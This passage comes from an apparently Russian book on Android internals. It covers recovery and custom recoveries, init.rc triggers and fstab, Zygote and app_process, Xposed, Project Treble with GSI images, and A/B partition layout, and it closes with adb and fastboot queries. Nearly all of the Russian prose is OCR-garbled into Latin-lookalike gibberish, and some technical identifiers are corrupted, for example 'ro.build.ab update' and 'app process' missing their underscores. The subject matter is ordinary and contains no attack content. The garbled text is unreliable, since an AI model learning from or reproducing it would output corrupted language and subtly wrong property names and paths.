HOro noka ¢aiina system/build.prop.

War sropoiA, anbTepHaTUBHLIN.
Pasnen recovery

B ToMm cnyyae, ecnu «dnar 3arpy3ku recovery» B pasfiene misc YCTAHOBJEH HIIM TMONb30-
BaTesb BKJIIOYMI CMapTQOH C 3aKaToi KiaBHLIEH yMEHbLIEHHS TPOMKOCTH, 3arpy3uvk
nepefacT yMpaBl€HHE KOAY, OTBETCTBEHHOMY 3a 3alyCK KOHCOJIH BOCCTaHOBJICHHS.
B cayuae yctpoiictBa ¢ A/B-pa3meTkoit 3arpy3uHk, kak H B OObIYHOM BapHaHTe, 3arpy-
xkaeT aapo Linux u3 pa3gena boot, Ho BMecTo pa3zmena system B KauecTBe KOpPHA MoOJ-
kmoyaer RAM-auck. Ecnv ke yCTpOHCTBO HCMOB3yeT KJIACCHYECKYIO pPa3METKY,
ynpaBieHHe nepeaaetcs aapy Linux, 3anmucaHHOMY B pa3fien recovery, KOTOPO€ TOUHO
Tak ke 3arpyxaeT RAM-auck, HO y>ke M3 CBOero pasgena.

U B ToM 1 B apyrom ciaydae RAM-guck recovery cogep>KUT MHHHUATIOPHYIO ONepaLHoH-
HYIO CHCTeMY, KOTOpas HMKak He cBi3aHa ¢ Android. Y recovery cBoit HaGop mpuioxe-
HU# (KOMaHa) U CBOM MHTepdeiic, MO3BONAIOILMA NONB30BATENO aKTHBUPOBATh CITY»eED-
Hble (yHKLHH.

B cranpaptHoM (cTOokOBOM) recovery TakuX (QyHKUMA OOBIMHO TpH: YCTAHOBKAa NOIIH-
CaHHBIX KJIOYOM MPOM3BOAMTEN cMapT(dOHa NPOLUMBOK, Bain U nepesarpyska. B moau-
¢GHUUMPOBAaHHBIX CTOPOHHHMX recovery, Takux kak TWRP, ¢pyHkuuii ropazgo 6onbuie. Onu
ymetoT ¢hopMaTHpoBaTh (aiiioBbie CMCTEMBI, YCTaHABIMBATh MPOLUMBKH, MOAMUCAHHbIE
mobbIMK KTIOYaMK (YMTal: KaCTOMHbIE), MOHTHPOBaTh (aiinoBble CMCTEMBbI Ha APYrMX
pasaenax (B uensax otiaaaku OC), v BrItOYalOT B ce6sf noaaepxkKy CKpHMTOB, KOTOpas
M03BO/AET aBTOMATU3UPOBAThL MPOLIECC MPOLUMBKH, 8 TAKKE MHOTHE ApyTrHe QYHKLHUH.

C noMoLwpbIO CKPHINTOB, HaPUMeEP, MOXKHO Clie1aTh Tak, YToObl nociie 3arpy3ku recovery
aBTOMAaTHYECKH Halllell Ha KapTe MaMATH HY)KHble MPOIIMBKH, YCTAHOBMA MX W fepesa-
rpy3uics B Android. Ota BO3MOXHOCTh Mcnonb3yercs MHCTpyMeHTaMu ROM Manager,
auto-flasher, a Taroke MexaHH3mMoM aBToMaTHueckoro o6HoBneHus CyanogenMod u apy-
rux npownBok. KacToMHble pekaBepy Takke NMOAAEPKUBAIOT CKpUNTHI O3kana, pacriona-
rarouiyecs B KaTajore /system/addon.d/. Ilepea mpolMBKoii recovery npoBepseT HanHu1e
CKPHMIITOB M BBIMOJHAET MX, MpeXAe 4YeM NpOM3BECTH MpoliMBKy. bnaromaps Takum
CKPHIITaM gapps HE MCUYE3al0T Moc/ie YCTAHOBKM HOBOM BEPCHH MPOLUMBKH.

War tpetuin. MHuumanusauus

WUrtak, aapo MHULMAIH3UPYET CBOM MOJACHUCTEMBI M JpalBephl, 3aTeM 3alTyCKaeT Npouecc
init, ¢ KOTOpOoro HauMHaetcs MHULUManM3auusa Android. V init ectb KoHQUrypaUHOHHBIH
¢aiin init.rc, conepxallni HHCTPYKLUH O TOM, YTO HY>KHO CAeNaTh, YToObl MPOUHLIMHA-
JU3UPOBaTh CUCTEMY. B coBpeMeHHBIX cMapT(hOHaX 3TOT KOH(PUr UMeeT BHYLIMTENbHYIO
IJIMHY B HECKOJIKO COTEH CTPOK, M K TOMY e CHaG)keH MPHLENoM W3 HeCKOJbKHX [0-
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YEepHUX KOH(HUroB, KOTOpblEe MOMKIIIOYAIOTCS K OCHOBHOMY C MOMOLLbIO AMPEKTHBBI
import. TeM He MeHee ero opMaT JOCTaTOYHO MPOCTOM U MO CYTH MpPEACTaBIAET COOOMH
Habop KOMaH[, pa3AeneHHbIX Ha OJIOKH.

Kaxnplii 6110k onpenenser cTaaqio 3arpy3ku, HIH, BbIPOKasACh S3bIKOM pa3paboOTUMKOB
Android, aeficteue. broku oTaeneHs! Ipyr oT Apyra AMPEKTUBOM on, 3a KOTOPOii clieayeT
UM IeHCTBHS, HANPUMeEP, on early-init MM on post-fs. bJIOk koMaHa OyAeT BbIMONHEH
TONBKO B TOM Clly4ae, eclnd cpabotaer onqHouMeHHbIH Tpurrep. Ilo- Mepe 3arpy3ku init
OyaeTt Mo ouepeAun akTUBHPOBAThH TpHUrrepsl early-init, init, early-fs, fs, post-fs, early-boot
u boot, 3amyckas TakuM 00pa3oM cooTBETCTBYIOLIME OJIOKH KOMaH] (puc. 2.2).

Puc. 2.2. YacTtb koHdura init.rc n3a CyanogenMod

Ecnu koHdurypauuoHHslit ¢aitn TaHeT 3a coboii ele HeckoJbKO KOH(UIoB, nepeyuc-
JICHHBIX B HayaJie (a 9TO MOYTH BCeraa Tak), TO OHHOMMEHHBbIE OJIOKHM KOMaH[ BHYTPH HUX
OyayT oObearHEHBI ¢ OCHOBHBIM KOH(HIOM, Tak 4TO MpH cpabaThIBAHWM TpHIrepa init
BBIMOJIHUT KOMAaHIbl M3 COOTBETCTBYIOLUMX OJIOKOB Bcex ¢aiinoB. DTO caenaHo s
yno6ctBa GopMUpOBaHUS KOHGHUIYpaLMOHHBIX (ainoB 111 HECKOJIBKMX YCTPOHCTB, KO-
rZla OCHOBHOM KOH(Hr COAEpXUT OOIIME AN BCEX YCTPOHCTB KOMaH/bI, a cneuugHryHble
JUTS KaXXIOr0 YCTPOMCTBA 3aNMChIBAIOTCA B OTAENbHbIE (ailbl.

Haubonee npumeyatenbHbld M3 JOMONHHWTENBHBIX KOHQUIpaUMOHHBIX (AHIOB HOCHT
HMs /vendor/etc/init/hw/init.mma_ycrpoitcrea.rc, IA€ UMSA YCTpPOMCTBa omnpeaessercs a.-
TOMaTHYECKH Ha OCHOBE colepXHMoro ¢aina ro.hardware. ITO nnarhopMeHHO-
3aBUCHMBbII KOH(MUTypaUMOHHBIH (ail, KOTOpBIH COAEPKUT GNOKK KOMaHA, creudpHy-
HbI€ 1JI1 KOHKpeTHoro ycrpoiicrsa. KpoMe komaHa, oTBeyalolMX 3a TIOHUHT sApa, OH
TaKKe COAEPHHUT NPUMEPHO TaKyl0 KOMaHIy:

mount all /vendor/etc/fstab.mMa ycrpoitcrea

OHa o3Hauaert, YTo Tenepk init JODKEH MOKIIOUUTD Bee (aiioBble CUCTEMBI, Mepeumc-
JICHHBIC B q)af/ine /vendor/etc/fstab.uma_ycrpoitcTea, KOTOPBIH UMEET CIEAYIOLLYIO CTPYK-
Typy:

MMA_yCTPOMCTBA (pasfesia) TOUYkKa MOHTMpOBaHUA QamioBas_cucTema onumm Qc npoume onuum
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O6bI4HO B HEM colep>KaTcsd MHCTPYKLMKU MO MOAKIIOYEHHIO (ailoBbIX CUCTEM M3 BHYT-
penHnx NAND-pa3zaenos k katanoram /system, /data W /cache. OIHAKO cllerka H3MEHHB
3TOT (paisl, Mbl MOXEM 3aCTaBMTb iNit 3arpy3uTh CUCTEMY ¢ KapThl mamsaTu. [lns atoro
AOCTaTOYHO pa3dUTh KapTy MamsaTH Ha yYeTbipe pasaena: 2 ['6/ext4, 4 ['6/extd, 2 ['6/ext4 n
ocTaBlueecs npoctpaHcTBo — fat32. Jlanee HeoOXxoauMMo omnpenenuTb UMeHa pa3desioB
KapThl MaMATH B KaTtanore /dev (A1s pa3HbIX YCTPOWCTB OHM OTJIMYAIOTCSA) M 3aMEHHUTh
MMM OPUTHMHAJIbHbIE UMEHA YCTPOHCTB B daitnie fstab (puc. 2.3).

Puc. 2.3. TunuuHoe coaepxumoe daina fstab

B koHue 6110ka boot init, ckopee Bcero, BCTPETUT KOMAHAY class start default, KOTOpas
COOOWMT, UYTO Aanee clledyeT 3anyCcTHUThb Bce MepeuyucieHHble B KOHQuUre ciyxoObl,
MMEIOLIME OTHOWIEHHE K Kiaccy default. OnucaHue ciyx0 HayMHAeTCs ¢ AUPEKTHBBI
service, 3a Hel cleayeT UMs Ci1y>kObl U KOMaH/1a, KOTopas 10/KHa ObITh BbINIOJIHEHA s
ee 3anycka. B omiMuue oT koMaHa, nepeyuclieHHbIX B 6J0Kax, cnykObl JOMDKHBI pabo-
TaTb BCE BPEMdA, NMOITOMY Ha MPOTIXKEHWUU BCeil M3HM cMmapTdoHa init OyaeT BUCEThb
B QOHe U cleauTb 3a TeM, 4ToObl OoHKM paboTtanu. CoBpeMeHHbIi Android BKIOYaeT B ce-
05 necaTku cayx0, HO ABE M3 HMX MMEIOT OCOOBIH cTaTyc M OMpeaensioT BeCh XKU3HEH-
HbIHA LMK CUCTEMBI.

War yersepTuiia. Zygote u app_process

Ha onpeaeneHHoM sTane 3arpy3ku init BCTPETHT B KOHLE KOH(pHUra npuMepHO TaKoi
6n0k:

service zygote /system/bin/app process -Xzygote /system/bin --zygote --start-system-
server

class default

socket zygote stream 660 root system

onrestart write /sys/android power/request state wake
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onrestart write /sys/power/state on
onrestart restart media
onrestart restart netd

3Tto0 onucaHue cnyxObl Zygote, kodeBoro komrnoHenra Android, koTophsiii OTBETCTBe-
HEH 338 MHULMAJIM3aLMIo, CTapT CUCTEMHbIX cNyxO0, 3amyck ¥ OCTaHOBKY MOJIb30BaTE/b-
CKUX NMPUIOXKEHUH U MHOTHE Apyrue 3anaud. Zygote 3aIycKaeTcsi C MOMOLLBIO0 OHHApHO-
ro aiina /system/bin/app process, YTO XOPOLUO BHUAHO B MPUBEJEHHOM Bblllie PparMeHTe
KoH¢wMra. 3anaya app proccess — 3alycTUTb BUPTyalbHyto MadHy Dalvik/ART, koa ko-
TOpOil pacnonaraetcs B paszaenseMoi OMOAHOTEKe /system/lib/libandroid runtime.so, a
3aTeM MoBepx Hee 3anycTUTh Zygote.

Koraa Bce 310 Oyner caenaHo v Zygote nonyuyuT ynpasieHHe, OHa HaYMHAeT GopMUpO-
BaHWE cpelbl UCMOMHEHHUs Java-TipunoXeHnd ¢ MoMOLLbIO 3arpy3kH Bcex Java-kiaccoB
¢dpeiimBopka. Ha camom nmene. Zygote npocto aenaet fork B pexcume copy-on-write yxe
CYLLECTBYIOLIETO Mpotlecca C 3arpy>keHHbIM (GpeHMBOPKOM, a 3aTeM 3aIycKaeT
system server, KOTOpbIH BK/tO4aeT B ceOs GONBLIMHCTBO BbICOKOYPOBHEBBIX (HamMcaH-
HbIX Ha Java) cucteMHbix cepBucoB. Cpean Hux — Window Manager, Status Bar,
Package Manager u, uto camoe BaxkHoe, Activity Manager. DToT cepBHc OyAeT OTBETCT-
BEHEH 3a NoJly4eHHe CUHAJIIOB O CTapTe M 3aBEPLUEHHUH NMPUIIOKEHHH.

[locne aToro Zygote OTKpLIBAET COKET /dev/socket/zygote U YXOIMT B COH, 0XKMAas 1aH-
Hble. B 3T0 Bpems 3anmyuueHHbIi paHee Activity Manager HaXoOUT MPUIOXKEHHe, peary-
pyllee Ha MHTEHT Intent.CATEGORY HOME, M OTAaeT ero ums Zygote yepes coker. [locnen-
HUH, B CBOIO ovepeab, GOpKaeTcs M 3armycKaeT MPUIOKEHHE MOBEpX BUPTyalbHOW Ma-
wrHbl. Byans, Ha 3kpaHe nossiasercs PaGounii cron, HaiimeHHslli Activity Manager u
3anylUeHHbId Zygote, U CTaTycHas CTpoKa, 3aMyLleHHas system server B paMKaxX ClyxObl
Status Bar. Ilocie Tana no noGoMy 3Hauky Pabounii cTOn MOLUIET UHTEHT C UMEHEM
3TOro MPHWJIOXKEHHs, KOTOpbIi npumer Activity Manager v nepenact kOMaHay Ha CTapT
NpUIOKEHHs 1eMOHy Zygote.

Bce 3T0 MOXET BbIMNIAAETh HECKOJIBKO HEMOHATHO, HO CaMO€E IJlaBHOE — 3allOMHHUTDb 1BE
MpOCTLIE BEULIH:

3 Ilpoyecc 3anycka Android denumcs Ha 0ge Knoyegvle cmaouu: 0o Zygote u nocne. J1o
3anycka Zygote cucTeMa MHULMANM3UPYET HU3KOypoBHeBble koMmnoHeHTH OC. Oto
TaKue onepauuy, Kak MoJiitoyeHre (MOHTUpOBaHUe) (aiIoBbIX CHCTEM; 3aMyCK HU3-
KOYpOBHeBbIX cnyx0, Harpumep rild, oTBeuaroweit 3a pabory ¢ GSM-mozemom;
SurfaceFlinger, ynpaenstoweii n3obpaxeHuem Ha skpaHe; vold, ynpasnsiowuei noa-
KIOUYEHHbIMU GaiinoBbiMu cucteMamu. [locne 3amycka Zygote HauMHAeTCS WHULMA-
JU3aLMs HCKITIOYUTENBHO Java-KOMITOHEHTOB, KOTOpbie cocTasasioT 80% onepauron-
HOM cHcTeMbl. DTHM, B YaCTHOCTH, MOJB3YeTCS W3BECTHbIM (peiiMBopk Xposed: npu
YCTaHOBKE OH 3aMEHSET app_process Ha COOCTBEHHYIO MOAMPHUHPOBAHHYIO BEPCHIO,
KOTOpas crnocoOHa mepexBaTbiBaTh BbI3OBBI JIOObIX Java-Kkj1accoB, MOAMEHAS MX Ha
nobbie apyrue. UMenHo nostomy y Moayneit Xposed Takue LiMpoKHe BO3MOXHOCTH
no MoaudHKaunuK1 BHelHero Buaa 1 noseaeHus Android. Ha camom nene, oHu HH4ero
He M3MEHSIOT B CUCTEME, a MPOCTO 3aCTaB/IAIOT €€ UCMO/Ab30BaTh CTOPOHHHE KOMIIO-
HEHTbl BMECTO «HATHBHBIX).
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O Java-npunosicenua Huxozoa He 3anyckaiomces «c Hyaay. Korna npouecc Zygote nony-
YaeT 3ampoc Ha CTapT NMpHIOXKeHHs oT Activity Manager, OH He 3amyckaeT HOBYIO
BUPTYaIbHYIO MalIMHY, a NpocTo (opkaercs, T. €., KOMUPYeT caMoro cebs M 3aTem
3alyCKaeT MOBEpX MOMYYEHHOH KOMMH BUPTYaJbHON MAIIMHBI HY>)KHOE MPUIIOKEHHE.
Takoii npuHUMIT pabOTHI MO3BOJAET, BO-MEPBBIX, CBECTH PacXol NaMATH K MUHUMYMY,
T. K. IpU (popke MamsaTh KOMHUPYETCs B peXHUMeE cCopy-on-write (HOBBIH MpoLIECC CChbl-
JlaeTcs Ha MaMATh CTaporo). A BO-BTOpbIX, Aa€T BO3MOXHOCTb CYLIECTBEHHO YCKO-
PHTBH 3aMyCK MpHIOXKEHHA: (HOpK Mpolecca MPOMCXOANT HaMHOro ObiCTpee 3amycka
HOBOH BUPTyanbHOH MallMHbI U 3arpy3KH HY>KHBIX MPUIJIOKEHHUIO Java-KJ1accoB.






FrMMABA 3

Treble, A/B-pa3meTka,
AVHAMUYECKUe U MOAYIIbHLEIEe
obHoBNeHus

OGHOBNEHHE — OJJHO M3 CaMbIX CIabbIX MeCT YCTpOHCTB Ha 6a3ze Android. A ocHOBHas
npoGjemMa, ¢ KOTOPOM CTaJKHBAIOTCA NMPOM3BOJMTENH CMApT(POHOB npH OOHOBIEHHH
MPOLIMBOK CBOMX TeNepOHOB, — 3TO BOBCE HE JIEHb (XOTS 3TO TOXKE 4acTas mpodiema),
a He0OXOIMMOCTb XKAaTh, MOKA MPOU3BOJUTENN YUIICETOB U APYTHX XapABapHBIX KOMIIO-
HEHTOB OOHOBAT ApaiiBephl 10 HOBOM Bepcuu Android.

Jeno B ToM, uto Android, kak 1 MHOrMe apyrue npogyktsl Google, odyeHb foyroe BpeMs
pa3BUBaJICA B peXXKUMe BeuHOH 6eThl. OTO 3HayMT, uTo Android Mensicsa. He Tonbko u He
CTOJIbKO B T1aHe HHTepdeiica, CKOMbKO B IUIaHE BHYTPEHHEH apXUTEKTYPHI.

B Android Hukorga He ObUTO ycTOsBIIErocs, 00paTHO-COBMECTHMOro HHTepdeiica Mex-
Ay cucTeMoi U apaiiBepamu. B 60onblIMHCTBE CiTyyaeB Hesb3sl ObUIO MPOCTO B3ATh HOBYIO
Bepcuio Android 1 «mocaauTh» ee Ha apaiiBepbl U aapo Linux ot crapoi Bepcun. [loutn
BCerga 4to-HuOypb, 1a OTBAIHBAJIOCH.

TpeboBanuck 0OHOBNIEHHBIE ApaiBepsl, pa3pabOTKOH KOTOpBIX 3aHUMAJICS NPOU3BOIU-
TeJlb «OKeJle3a», a BOBCE HE MPOW3BOAUTENDL cMapTdoHa. [loaToMy, ecnu npousBoauTesb
yunceTa, kamepsl Wi Wi-Fi agantepa no TeM WM HHBIM MPUYMHAM OTKa3bIBaJIcs MOA-
JEp>KUBATh CTApOE (©OKENe30» (YTO MPOMUCXOAUT OUYEHBb YacTo, a B Cllydae C TAKUMH KOM-
nanusmu, kak MediaTek, — MocTOSHHO), MOJHOLEHHBI NMOPT HOBOM Bepcun Android
CTaHOBUTCS MOYTH HEBO3MOXKEH.

Co3zparesi KaCTOMHBIX MPOLUMBOK HaXOJWIH OOXOIHBIE MyTH, YTOOBI 3aCTaBHUTh HOBYIO
Bepcuio Android paGotaTh Ha crapeix ApaiiBepax. B xon muiy moO6sle npueMbl, OT Npo-
croro «He pabotaer, 3abeiiTe» 10 pa3aMYHBIX MPOrpaMMHBIX MPOCIIOEK, obecrneunBaro-
WHx (YHKUMOHHMPOBAHHWE HAa YCTapeBLIMX HApaiBepax. Tak, HampuMmep, B KaCTOMHBIX
npowmnBkax s Xiaomi Redmi 1s ecte mpocnoiika, koTopas no3BojseT HCMONB30BAaTh
kamepy B Android 7.1.1, xoTs gpaiBepbl 1J1 Hee 3aCTpsUIM elle Ha ypoBHE Bepcuu 4.4.4.

OnHako 1711 KOMMaHUH-MPOU3BOAUTENS CMApT(OHA TaKOH MOAXOM 3a4acTyO HENpPUEM-
7eM. YCTpOHCTBO ¢ BBIMOJIHEHHBIM MOJOOHBIM 00pa3oM MOPTOM MOXKET MPOCTO HE MpPOM-
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TH ceprudukaunto Google. KpoMe Toro, Takue npociioiku 3a4acTyio NpUBOAAT K c60IM
B HEOXKHAAHHBIX MeCTax U He o0ecrneuynBaloT HOBYIO (QYHKUMOHAIBHOCTb, KOTOpas MoO-
ket TpeboBarbcsi Android ans koppekTHoi paboThl (Hanpumep, moadep)kka HOBBIX
PEXKHMOB KaMephl).

Treble

B kakoii-To MoMeHT Google pelunna nonoXuTb KOHEL 3TOH BaKXaHaNMH M CTaHAAPTH30-
BaTh NMpOrpaMMHbIi UHTepdelic Mexxay ApariBepamu U Android. 310 HHHUHMATHBA MoTy-
yuna wums Treble (https://android-developers.googleblog.com/2017/05/here-comes-
treble-modular-base-for.html), 1 oHa Obina BomnouieHa B xu3Hb B Android 8.0
(puc. 3.1). :

Puc. 3.1. lo BHeApeHus uxTepdeinca Treble n nocne Hero

Cytb Treble mpocta: kog Android pa3nensercs Ha 1Be HE3aBUCHMbIE YAaCTH, OfHA U3 KO-
TOPBIX COAEPXKHT IpaiBepsl H BECh 3aBUCHMBIH OT kese3a» Kojl, a BTopas — caMy orie-
pauvoHHyto cucteMy. IIporpaMMHbIi HHTepdeiic Mexay 3TUMM KOMIOHEHTAMH CTaH-
JapTu3yeTcs W ocTaercs cTabuibHbIM Mexay penuszamu Android. Kak pesynbrat, mis
NOpTHPOBaHUs HOBOH BepcuM Android A0CTaTOYHO MOPTHPOBaThH ILU1ATOPMEHHO-
HE3aBUCHMYIO YacTb CUCTEMBI, H OHa KOPPEKTHO 3apaboTaeT Ha y)ke UMEIOIIUXCs Apai-
Bepax M Bepcuu aapa Linux, ¢ koTopoi cMapT¢hoH 6blT BBIMYILLEH Ha PHIHOK.

310 B TeopuH. Ha npakTuke e ecTb napa NoaBOAHbIX KAMHEH:

1. Android 6yaeTt npopo/mkaTe pa3BMBaThCA, U HOBblE PYHKLIMH MOTYT NMOTpebOBaTh H3-
meHeHwuii B Treble. Pazpaborunku Android npeaycMoTpesid 3TO ¥ rapaHTUPYIOT, YTO
yxe cyuectBytouue Bepcud API Treble 6ynyT noanep>xuBaTbcss MUHMMYM TPH roaa
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(moka 310 HetouHo). [Tpu 3TOM YacTk yHKUMIA, KOTOpble HE MOTYT ObITh peanl30Ba-
Hbl C UCINOJIb30BaHHWEM CTapblX Bepcuil Treble, Oyayt aubo smynupoBaTbes, MO0
npocto otkmouarskes. 1o cytu, Android 6yaer Bkitouyath B cebs oduumanbHble Npo-
CJIOWKH COBMECTHMMOCTH MO THUITy T€X, YTO paHblle NMPUXOAUIOCH NPUIYMBIBATh pa3-
paboT4yMKaM KaCTOMHBIX MPOLUUBOK.

2. Treble no cux nop HaXoAMTCS B NMPOLIECCE PA3BUTHSA U HE BKIIOYAET B ce0s HECKOIBLKO
BaxxHbIX API (Hanpumep, B coBMecTHMBIX ¢ Treble npowmmBkax MoXeT OTBaJMThCA
CKaHep OTNe4yaTKoB nasblieB). Taioke cyuiecTByeT npobiema, Koraa npou3BOAUTENb
cMapTdoHa HaMepeHHO WM ciydaiiHo nomaet Treble API, Tak uto Ge3 «kocTbuIei»
Treble-coBMecTHMBIE NPOLIMBKY Ha TaKOM cMapTdoHe He 3apadoTaloT.

Cpa3y nocne Bbimycka Android 8.0 Google Hauan myGnukauuio Tak HasbiBaeMbIX oOpa-
30B GSI (Generic System Image, https://developer.android.com/topic/generic-system-
image/releases). 3T1o oduuunansHas cbopka «uyucrtoro» Android (AOSP) nns Treble-
COBMECTUMBIX YCTPO#CTB. B Teopun ee MOXKHO MpOLUMTE Ha pa3dJOKUPOBaHHOE YCTpPOii-
CTBO C MOMOLLBIO fastboot M MOMYYUTh 0dHLMaANBHBIA Android.

UyTe nodxke cOopku GSI Hayany noaroTaBAMBaTh U pa3pabOTUMKK KaCTOMHBIX MpOLIK-
Bok. Hanpumep, GSI-c6opka ot phhusson (https:/github.com/phhusson/treble_
experimentations/releases) co MHOXecTBOM (MKCOB 1/ pa3HbIX ycTpoiicTB. B Tewme,
nocesweHHol Treble Ha popyme 4PDA (https://4pda.ru/forum/index.php?showtopic=
8927585), ectb MHokecTBO Treble-coBmecTumbix npowmsok, Bkiatouas LineageOS. Hy a
NPOBEPUTHL CBOE YCTPONCTBO HAa COBMECTUMOCTb ¢ Treble MOAHO ¢ MOMOLLBIO MPUOXKE-
Hus Treble Check (https://play.google.com/store/apps/details?id=com.kevintresuelo.
treble&hl=ru).

A/B-pa3meTtka

Euie onHa npoﬁnema ¢ OOHOBJIEHMAMH — OTKa3 noJib3oBareneii. Kak nokasniBaer npak-
TUKA, MHOTH€ BJ1aJ€JIbLbl CMapT(i)OHOB HE XOTAT OOHOBJATL CBOM yCTpOﬁCTBa, NMOTOMY
YTo:

O 3TOT mpolLecc OTHUMAET BpeMs, B TEYEHUE KOTOpPOro cMapThoH OyaeT HeaocTyreH
ANS UCTIOJIb30BAHUS;

O nocne o6HOBNEHHs cMapThOH MOXKET paboTaTh HEKOPPEKTHO MM HE BKJIOYHTCS BO-
obie.

B cBoe Bpems pa3pabotunku Chrome OS Takxke CTOJIKHYNIUCH C 3TOM npoOlieMoi U co3-
Janyd HaJIeKHYI0 U HE3aMETHYIO Ul MOJIb30BaTeNs cMCTeMY OeCIIOBHOro OOHOBIEHHS
(Seamless updates). CyTb €€ COCTOUT B TOM, YTO BMECTO OJJHOTO CHCTEMHOrO paszena,
NoBepxX KOTOpOro HakiaabBaauck Obl o6HOBneHus, Chrome OS ucnons3yer aBa vaeH-
THUYHBIX CMCTEMHBIX pa3jiena, KaKAblii U3 KOTOPBIX COAEPXKHUT CBOK KOIMMWIO ONEpaLHoH-
HOH CHCTEMBI.

O6HoBnenue B Chrome OS npoucxoaut cinenyromum obpasom: korma OC oOHapykuBaeT
HaJM4yne OOHOBIIEHHS, OHA CKaYMBaeT ero B OHOBOM pPEXXMMe, YCTAHABIMBAET Ha BTOPOH
(HeaKTHBHBII) CUCTEMHBIH pa3zien U MoMedvaeT 3TOT pazjen Kak akTUBHbIA. [locne nepe-
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3arpy3kH (koropas He 00s3aTenbHO MPOUCXOAMT cpasdy nociie obHosieHus) 3amyck OC
MPOMCXOAMT YXKe C 3TOro paszena.

Bnaronaps Takoil cxeme Monp30BaTeNlb JAXE HE MOJAO3PEBAET O MpoleaiiemM oOHOBIe-
HHH, OH NpOCTO mnonagaer B obHoBneHHyo OC mocie nepe3arpy3kd WM BKJIIOYEHHS
HoytOyka. Ilpu 3rom Chrome OS cnocobGHa rapaHTHpoBaTh, 4TO Mocjie OOHOBIEHHS
TI0JIB30BATEJb HE MOYYHT BMECTO YCTPOHCTBA KKHUPITHY»: €CJH BO BpeMs 3arpy3ku ¢ ob-
HOBJICHHOrO pa3fenia mpou3oiiger cOoil, cuctemMa NMOMETUT TekyluMid pasgen ¢uarom
unbootable, CHOENAET AKTUBHBIM «CTapblil», CHCTEMHBIH pa3ien MW 3arpy3uT 3aBeJOMO
pabouyto Bepcuio OC.

Haunnas ¢ cenpMoii Bepcun Android Taioke noaaepxuBaet OeclioBHble OOHOBIEHUS U
TaK Ha3zbiBaeMyto A/B-pasmetky pa3penoB. OnHako T. K. CUCTEMHBIX pa3fesioB B yCTpoH-
ctBax ¢ Android HamHoro Oosiblie, YeM B XxpoMOykax, TO U cama packjlaka pa3lenoB
nonyyvaercs Oonee 3anyTaHHOW. BoT Tonbko yacTh pa3aesioB, KOTOpbi€ MPULUITIOCH ay0-
JIUPOBATh:

O boot — coaepxut sapo 1 RAM-auck, Ha ycTpolicTBax ¢ A/B-pa3MeTkoii Takke co-
AEPXKUT KOHCP/Ib BOCCTAHOBJIEHHS (recovery);

3 system — coaepxut Android, cuctemMHble OUONMOTEKH, CUCTEMHBIE MPHIIOKEHHS,
CTaHJapTHbIE PUHTTOHBI, O0OH U T. 11.;

O vendor — gapaiiBepa u Bce HeoOXOAUMBIE MpOcaoiKH i paboTel ¢ xene3oM (Project
Treble);

O userdata — HacTpoOIKH, MPUTOXKEHHUS U JaHHbIE M0Nb30BATEN;
O radio — npommMBka paaMo-Moays (MoaAepKKa COTOBbIX CETei);

O vbmeta — pa3aen Android Verified Boot 2.0 (MexaHHU3M 10BEpeHHOM 3arpy3ku), co-
Jep>KallUi KOHTPOJIbHbIE CYMMbl KOMIIOHEHTOB CUCTEMBI.

Bcero ny6nupoBaHHBIX pa3fe/loB MOXET ObITh Heckonbko aecaTtkoB. Hanpumep, Ha
OnePlus 6 ¢ A/B-pa3meTkoii o0liee KOTHUYECTBO pa3aesioB — 72, M HECKOJIBKO ECATKOB
M3 HUX UCMOJIB3YIOTCS TOJIBKO 3arpy34rkoM (puc. 3.2).

Ot apyrux paszaesnoB, HA000pOT, CTaJlo BO3MOXKHBIM OTKa3aTbcs. YcrpoicTa ¢ A/B-pas-
METKOH He BKJIIOYAIOT B ce0s OTAEAbHbIN pa3liell recovery U pa3fAen cache, KOTOPBIH
HCIOJIb30BAJICS I/ XpaHeHHUs ¢ainoB oOHOBieHUH (Ternepb OOHOBIEHHE CKAauMBaeTCS
HarnpsMylo B HEAKTHBHBII pa3zen).

A/B-pa3MeTka Taloke MO3BOJIMIA BIBOE COKPaTHTh pa3Mep pasiena system, YTO BKyMe
C yHOaJleHHEeM pa3JellOB recovery U cache CAENANIO MEPEXO] HAa HOBYK) CXEMY pa3METKH
MeHee OoJie3HeHHBIM. Hanpumep, Ha cmapTdoHax Pixel moteps npocTpaHcTBa cocTaBuia
BCEr0 HECKOJIBKO COTEH MErabaiT, Kak 3TO nokasaHo B Tadi. 3.1.

Ta6bnuya 3.1. CpasHeHue pa3mepa pa3denos Ha cmapmegpoHax Pixel

Paspen Pasmep A/B Pa3mep A-only

Bootloader 50 M6 * 2 50 M6
Boot 32M6*2 32 M6
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Tabnuua 3.1 (okoH4aHue)

Pasgen Paamep A/B Pa3mep A-only
Recovery 0 32 M6
Cache 0 100 M6
Radio 70 M6 * 2 70 M6
Vendor 300 M6 * 2 T 300me
System 2048 M6 * 2 4096 M6
Bcero 5000 M6 __ 4680 MG

Puc. 3.2. [isoiHble pasaens Ha cmaptdoHe OnePlus 6

Eme onHo agoctouHcTBO A/B-pasmerku: orcytctBue skpaHa Android is upgrading...
nocne oOHoBneHus. CHUcTeMa MPOCTO 3arpykaercs kak oObiuHO. Takke A/B-pasmerka
yNpoLIaeT TECTUPOBAHWE KACTOMHBIX MPOLIMBOK: TaKylO MPOIIMBKY MOXHO MOCTaBHTH
BTOPO CHCTEMO# U OTKAaTUTHCA Ha MEPBYIO B cy4ae, €CIU YTO-TO MONAET HE TakK.

B uenoM oaHu miockl M HUKakuX MUHYcoB. [IpoGyiema Tonbko B ToM, yto A/B-pa3merka
JI0 CUX TMOp OCTAeTCs OMLIMOHAJIbHOM, a MEePELTd Ha Hee JalleKo HE BCE MPOM3BOAMTENN
cmaptdonoB. Jlaxke Samsung — ogMH U3 KPyNHEHIIMX NMPOU3BOAUTESIEH YCTPOHCTB Ha
Android — o cux mop Mcrnonb3yer ctapyro pasMeTky. M cBs3aHo 3710, ckopee Bcero,
C HeXKeJlaHWeM TPaTUTb CPEICTBA U BpeMs Ha nepenpoduinpoBaHue yxxe padoratoiei 1
OT/I&XXEHHON CUCTEMBI OOHOBJIEHHSL.

IpoBeputs, noaaep>kuBaeT a1 cMapTGoH A/B-pazMeTky, MOXHO C MOMOLUBIO BCE TOrO
ke npunoxenus Treble Check w3 npenbinyuiero pasgena Wiv NpoyYMTaB MEPEMEHHYHO
ro.build.ab_update ¢ moMoiuso ADB:

$ adb shell getprop ro.build.ab update
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LLINAPrAnKA Nno YnPABIEHNIO A/B-PA3AENAMM C NMOMOLYbIO FASTBOOT
Y3HaTb, kKakow cnoT (rpynna pasaesnos) Tenepb akTUBEH:

$ fastboot getvar all | grep “current-slot”

